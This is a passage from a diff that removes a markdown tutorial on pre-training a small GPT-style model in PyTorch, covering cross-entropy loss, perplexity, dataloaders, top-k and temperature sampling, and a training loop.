model=model,
|
||||
idx=encoded_tensor,
|
||||
max_new_tokens=6,
|
||||
context_size=GPT_CONFIG_124M["context_length"]
|
||||
)
|
||||
|
||||
print("Output:", out)
|
||||
print("Output length:", len(out[0]))
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
@ -1,970 +0,0 @@
|
||||
# 6. Pre-training & Loading models
|
||||
|
||||
## Text Generation
|
||||
|
||||
In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**.
|
||||
|
||||
As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose.
|
||||
|
||||
> [!TIP]
|
||||
> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model.
|
||||
|
||||
## Text Evaluation
|
||||
|
||||
In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens.
|
||||
|
||||
In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**.
|
||||
|
||||
However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base *e*) of **7.4541e-05** is approximately **-9.5042**.\
|
||||
Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize.
|
||||
|
||||
Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0:
|
||||
|
||||
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
|
||||
|
||||
Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\
|
||||
For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one.
|
||||
|
||||
## Pre-Train Example
|
||||
|
||||
This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Previous code used here but already explained in previous sections</summary>
|
||||
|
||||
```python
|
||||
"""
|
||||
This is code explained before so it won't be exaplained
|
||||
"""
|
||||
|
||||
import tiktoken
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
from torch.utils.data import Dataset, DataLoader
|
||||
|
||||
|
||||
class GPTDatasetV1(Dataset):
|
||||
def __init__(self, txt, tokenizer, max_length, stride):
|
||||
self.input_ids = []
|
||||
self.target_ids = []
|
||||
|
||||
# Tokenize the entire text
|
||||
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
|
||||
|
||||
# Use a sliding window to chunk the book into overlapping sequences of max_length
|
||||
for i in range(0, len(token_ids) - max_length, stride):
|
||||
input_chunk = token_ids[i:i + max_length]
|
||||
target_chunk = token_ids[i + 1: i + max_length + 1]
|
||||
self.input_ids.append(torch.tensor(input_chunk))
|
||||
self.target_ids.append(torch.tensor(target_chunk))
|
||||
|
||||
def __len__(self):
|
||||
return len(self.input_ids)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
return self.input_ids[idx], self.target_ids[idx]
|
||||
|
||||
|
||||
def create_dataloader_v1(txt, batch_size=4, max_length=256,
|
||||
stride=128, shuffle=True, drop_last=True, num_workers=0):
|
||||
# Initialize the tokenizer
|
||||
tokenizer = tiktoken.get_encoding("gpt2")
|
||||
|
||||
# Create dataset
|
||||
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
|
||||
|
||||
# Create dataloader
|
||||
dataloader = DataLoader(
|
||||
dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers)
|
||||
|
||||
return dataloader
|
||||
|
||||
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert d_out % num_heads == 0, "d_out must be divisible by n_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.reshape(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
|
||||
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
|
||||
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.layers(x)
|
||||
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"])
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x
|
||||
x = self.norm1(x)
|
||||
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
# Shortcut connection for feed-forward block
|
||||
shortcut = x
|
||||
x = self.norm2(x)
|
||||
x = self.ff(x)
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
return x
|
||||
|
||||
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
|
||||
|
||||
def forward(self, in_idx):
|
||||
batch_size, seq_len = in_idx.shape
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
|
||||
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_emb(x)
|
||||
x = self.trf_blocks(x)
|
||||
x = self.final_norm(x)
|
||||
logits = self.out_head(x)
|
||||
return logits
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
```python
|
||||
# Download contents to train the data with
|
||||
import os
|
||||
import urllib.request
|
||||
|
||||
file_path = "the-verdict.txt"
|
||||
url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt"
|
||||
|
||||
if not os.path.exists(file_path):
|
||||
with urllib.request.urlopen(url) as response:
|
||||
text_data = response.read().decode('utf-8')
|
||||
with open(file_path, "w", encoding="utf-8") as file:
|
||||
file.write(text_data)
|
||||
else:
|
||||
with open(file_path, "r", encoding="utf-8") as file:
|
||||
text_data = file.read()
|
||||
|
||||
total_characters = len(text_data)
|
||||
tokenizer = tiktoken.get_encoding("gpt2")
|
||||
total_tokens = len(tokenizer.encode(text_data))
|
||||
|
||||
print("Data downloaded")
|
||||
print("Characters:", total_characters)
|
||||
print("Tokens:", total_tokens)
|
||||
|
||||
# Model initialization
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 256, # Shortened context length (orig: 1024)
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-key-value bias
|
||||
}
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.eval()
|
||||
print ("Model initialized")
|
||||
|
||||
|
||||
# Functions to transform from tokens to ids and from to ids to tokens
|
||||
def text_to_token_ids(text, tokenizer):
|
||||
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
|
||||
return encoded_tensor
|
||||
|
||||
def token_ids_to_text(token_ids, tokenizer):
|
||||
flat = token_ids.squeeze(0) # remove batch dimension
|
||||
return tokenizer.decode(flat.tolist())
|
||||
|
||||
|
||||
|
||||
# Define loss functions
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
logits = model(input_batch)
|
||||
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
|
||||
return loss
|
||||
|
||||
|
||||
def calc_loss_loader(data_loader, model, device, num_batches=None):
|
||||
total_loss = 0.
|
||||
if len(data_loader) == 0:
|
||||
return float("nan")
|
||||
elif num_batches is None:
|
||||
num_batches = len(data_loader)
|
||||
else:
|
||||
# Reduce the number of batches to match the total number of batches in the data loader
|
||||
# if num_batches exceeds the number of batches in the data loader
|
||||
num_batches = min(num_batches, len(data_loader))
|
||||
for i, (input_batch, target_batch) in enumerate(data_loader):
|
||||
if i < num_batches:
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
total_loss += loss.item()
|
||||
else:
|
||||
break
|
||||
return total_loss / num_batches
|
||||
|
||||
|
||||
# Apply Train/validation ratio and create dataloaders
|
||||
train_ratio = 0.90
|
||||
split_idx = int(train_ratio * len(text_data))
|
||||
train_data = text_data[:split_idx]
|
||||
val_data = text_data[split_idx:]
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
train_loader = create_dataloader_v1(
|
||||
train_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=True,
|
||||
shuffle=True,
|
||||
num_workers=0
|
||||
)
|
||||
|
||||
val_loader = create_dataloader_v1(
|
||||
val_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=False,
|
||||
shuffle=False,
|
||||
num_workers=0
|
||||
)
|
||||
|
||||
|
||||
# Sanity checks
|
||||
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the training loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"increase the `training_ratio`")
|
||||
|
||||
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the validation loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"decrease the `training_ratio`")
|
||||
|
||||
print("Train loader:")
|
||||
for x, y in train_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
print("\nValidation loader:")
|
||||
for x, y in val_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
train_tokens = 0
|
||||
for input_batch, target_batch in train_loader:
|
||||
train_tokens += input_batch.numel()
|
||||
|
||||
val_tokens = 0
|
||||
for input_batch, target_batch in val_loader:
|
||||
val_tokens += input_batch.numel()
|
||||
|
||||
print("Training tokens:", train_tokens)
|
||||
print("Validation tokens:", val_tokens)
|
||||
print("All tokens:", train_tokens + val_tokens)
|
||||
|
||||
|
||||
# Indicate the device to use
|
||||
if torch.cuda.is_available():
|
||||
device = torch.device("cuda")
|
||||
elif torch.backends.mps.is_available():
|
||||
device = torch.device("mps")
|
||||
else:
|
||||
device = torch.device("cpu")
|
||||
|
||||
print(f"Using {device} device.")
|
||||
|
||||
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
|
||||
|
||||
|
||||
|
||||
# Pre-calculate losses without starting yet
|
||||
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
|
||||
|
||||
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
|
||||
train_loss = calc_loss_loader(train_loader, model, device)
|
||||
val_loss = calc_loss_loader(val_loader, model, device)
|
||||
|
||||
print("Training loss:", train_loss)
|
||||
print("Validation loss:", val_loss)
|
||||
|
||||
|
||||
# Functions to train the data
|
||||
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
|
||||
eval_freq, eval_iter, start_context, tokenizer):
|
||||
# Initialize lists to track losses and tokens seen
|
||||
train_losses, val_losses, track_tokens_seen = [], [], []
|
||||
tokens_seen, global_step = 0, -1
|
||||
|
||||
# Main training loop
|
||||
for epoch in range(num_epochs):
|
||||
model.train() # Set model to training mode
|
||||
|
||||
for input_batch, target_batch in train_loader:
|
||||
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
loss.backward() # Calculate loss gradients
|
||||
optimizer.step() # Update model weights using loss gradients
|
||||
tokens_seen += input_batch.numel()
|
||||
global_step += 1
|
||||
|
||||
# Optional evaluation step
|
||||
if global_step % eval_freq == 0:
|
||||
train_loss, val_loss = evaluate_model(
|
||||
model, train_loader, val_loader, device, eval_iter)
|
||||
train_losses.append(train_loss)
|
||||
val_losses.append(val_loss)
|
||||
track_tokens_seen.append(tokens_seen)
|
||||
print(f"Ep {epoch+1} (Step {global_step:06d}): "
|
||||
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
|
||||
|
||||
# Print a sample text after each epoch
|
||||
generate_and_print_sample(
|
||||
model, tokenizer, device, start_context
|
||||
)
|
||||
|
||||
return train_losses, val_losses, track_tokens_seen
|
||||
|
||||
|
||||
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
|
||||
model.eval()
|
||||
with torch.no_grad():
|
||||
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
|
||||
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
|
||||
model.train()
|
||||
return train_loss, val_loss
|
||||
|
||||
|
||||
def generate_and_print_sample(model, tokenizer, device, start_context):
|
||||
model.eval()
|
||||
context_size = model.pos_emb.weight.shape[0]
|
||||
encoded = text_to_token_ids(start_context, tokenizer).to(device)
|
||||
with torch.no_grad():
|
||||
token_ids = generate_text(
|
||||
model=model, idx=encoded,
|
||||
max_new_tokens=50, context_size=context_size
|
||||
)
|
||||
decoded_text = token_ids_to_text(token_ids, tokenizer)
|
||||
print(decoded_text.replace("\n", " ")) # Compact print format
|
||||
model.train()
|
||||
|
||||
|
||||
# Start training!
|
||||
import time
|
||||
start_time = time.time()
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.to(device)
|
||||
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
|
||||
|
||||
num_epochs = 10
|
||||
train_losses, val_losses, tokens_seen = train_model_simple(
|
||||
model, train_loader, val_loader, optimizer, device,
|
||||
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
|
||||
start_context="Every effort moves you", tokenizer=tokenizer
|
||||
)
|
||||
|
||||
end_time = time.time()
|
||||
execution_time_minutes = (end_time - start_time) / 60
|
||||
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
|
||||
|
||||
|
||||
|
||||
# Show graphics with the training process
|
||||
import matplotlib.pyplot as plt
|
||||
from matplotlib.ticker import MaxNLocator
|
||||
import math
|
||||
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
|
||||
fig, ax1 = plt.subplots(figsize=(5, 3))
|
||||
ax1.plot(epochs_seen, train_losses, label="Training loss")
|
||||
ax1.plot(
|
||||
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
|
||||
)
|
||||
ax1.set_xlabel("Epochs")
|
||||
ax1.set_ylabel("Loss")
|
||||
ax1.legend(loc="upper right")
|
||||
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
|
||||
ax2 = ax1.twiny()
|
||||
ax2.plot(tokens_seen, train_losses, alpha=0)
|
||||
ax2.set_xlabel("Tokens seen")
|
||||
fig.tight_layout()
|
||||
plt.show()
|
||||
|
||||
# Compute perplexity from the loss values
|
||||
train_ppls = [math.exp(loss) for loss in train_losses]
|
||||
val_ppls = [math.exp(loss) for loss in val_losses]
|
||||
# Plot perplexity over tokens seen
|
||||
plt.figure()
|
||||
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
|
||||
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
|
||||
plt.xlabel('Tokens Seen')
|
||||
plt.ylabel('Perplexity')
|
||||
plt.title('Perplexity over Training')
|
||||
plt.legend()
|
||||
plt.show()
|
||||
|
||||
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
|
||||
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
|
||||
|
||||
|
||||
torch.save({
|
||||
"model_state_dict": model.state_dict(),
|
||||
"optimizer_state_dict": optimizer.state_dict(),
|
||||
},
|
||||
"/tmp/model_and_optimizer.pth"
|
||||
)
|
||||
```
|
||||
|
||||
Let's see an explanation step by step
|
||||
|
||||
### Functions to transform text <--> ids
|
||||
|
||||
These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions:
|
||||
|
||||
```python
|
||||
# Functions to transform from tokens to ids and from to ids to tokens
|
||||
def text_to_token_ids(text, tokenizer):
|
||||
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
|
||||
return encoded_tensor
|
||||
|
||||
def token_ids_to_text(token_ids, tokenizer):
|
||||
flat = token_ids.squeeze(0) # remove batch dimension
|
||||
return tokenizer.decode(flat.tolist())
|
||||
```
|
||||
|
||||
### Generate text functions
|
||||
|
||||
In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic.
|
||||
|
||||
The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts.
|
||||
|
||||
- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`.
|
||||
- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have.
|
||||
- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1.
|
||||
- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%.
|
||||
|
||||
```python
|
||||
# Generate text function
|
||||
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
|
||||
|
||||
# For-loop is the same as before: Get logits, and only focus on last time step
|
||||
for _ in range(max_new_tokens):
|
||||
idx_cond = idx[:, -context_size:]
|
||||
with torch.no_grad():
|
||||
logits = model(idx_cond)
|
||||
logits = logits[:, -1, :]
|
||||
|
||||
# New: Filter logits with top_k sampling
|
||||
if top_k is not None:
|
||||
# Keep only top_k values
|
||||
top_logits, _ = torch.topk(logits, top_k)
|
||||
min_val = top_logits[:, -1]
|
||||
logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits)
|
||||
|
||||
# New: Apply temperature scaling
|
||||
if temperature > 0.0:
|
||||
logits = logits / temperature
|
||||
|
||||
# Apply softmax to get probabilities
|
||||
probs = torch.softmax(logits, dim=-1) # (batch_size, context_len)
|
||||
|
||||
# Sample from the distribution
|
||||
idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1)
|
||||
|
||||
# Otherwise same as before: get idx of the vocab entry with the highest logits value
|
||||
else:
|
||||
idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1)
|
||||
|
||||
if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified
|
||||
break
|
||||
|
||||
# Same as before: append sampled index to the running sequence
|
||||
idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
|
||||
|
||||
return idx
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**.
|
||||
>
|
||||
> Then, **only those words** of the vocabulary will be considered according to their relative probabilities 
|
||||
>
|
||||
> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**.
|
||||
>
|
||||
> _Note that this improvement isn't included in the previous code._
|
||||
|
||||
> [!NOTE]
|
||||
> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\
|
||||
> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices.
|
||||
>
|
||||
> _Note that this improvement isn't included in the previous code._
|
||||
|
||||
### Loss functions
|
||||
|
||||
The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\
|
||||
The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**.
|
||||
|
||||
```python
|
||||
# Define loss functions
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
logits = model(input_batch)
|
||||
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
|
||||
return loss
|
||||
|
||||
def calc_loss_loader(data_loader, model, device, num_batches=None):
|
||||
total_loss = 0.
|
||||
if len(data_loader) == 0:
|
||||
return float("nan")
|
||||
elif num_batches is None:
|
||||
num_batches = len(data_loader)
|
||||
else:
|
||||
# Reduce the number of batches to match the total number of batches in the data loader
|
||||
# if num_batches exceeds the number of batches in the data loader
|
||||
num_batches = min(num_batches, len(data_loader))
|
||||
for i, (input_batch, target_batch) in enumerate(data_loader):
|
||||
if i < num_batches:
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
total_loss += loss.item()
|
||||
else:
|
||||
break
|
||||
return total_loss / num_batches
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the model’s parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training.
|
||||
>
|
||||
> _Note that this improvement isn't included in the previous code._
|
||||
>
|
||||
> Check the following example:
|
||||
|
||||
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Loading Data
|
||||
|
||||
The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section.
|
||||
|
||||
From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\
|
||||
Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model.
|
||||
|
||||
Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\
|
||||
The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes.
|
||||
|
||||
Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set).
|
||||
|
||||
Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch.
|
||||
|
||||
```python
|
||||
train_ratio = 0.90
|
||||
split_idx = int(train_ratio * len(text_data))
|
||||
train_data = text_data[:split_idx]
|
||||
val_data = text_data[split_idx:]
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
train_loader = create_dataloader_v1(
|
||||
train_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=True,
|
||||
shuffle=True,
|
||||
num_workers=0
|
||||
)
|
||||
|
||||
val_loader = create_dataloader_v1(
|
||||
val_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=False,
|
||||
shuffle=False,
|
||||
num_workers=0
|
||||
)
|
||||
```
|
||||
|
||||
## Sanity Checks
|
||||
|
||||
The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation:
|
||||
|
||||
```python
|
||||
# Sanity checks
|
||||
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the training loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"increase the `training_ratio`")
|
||||
|
||||
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
|
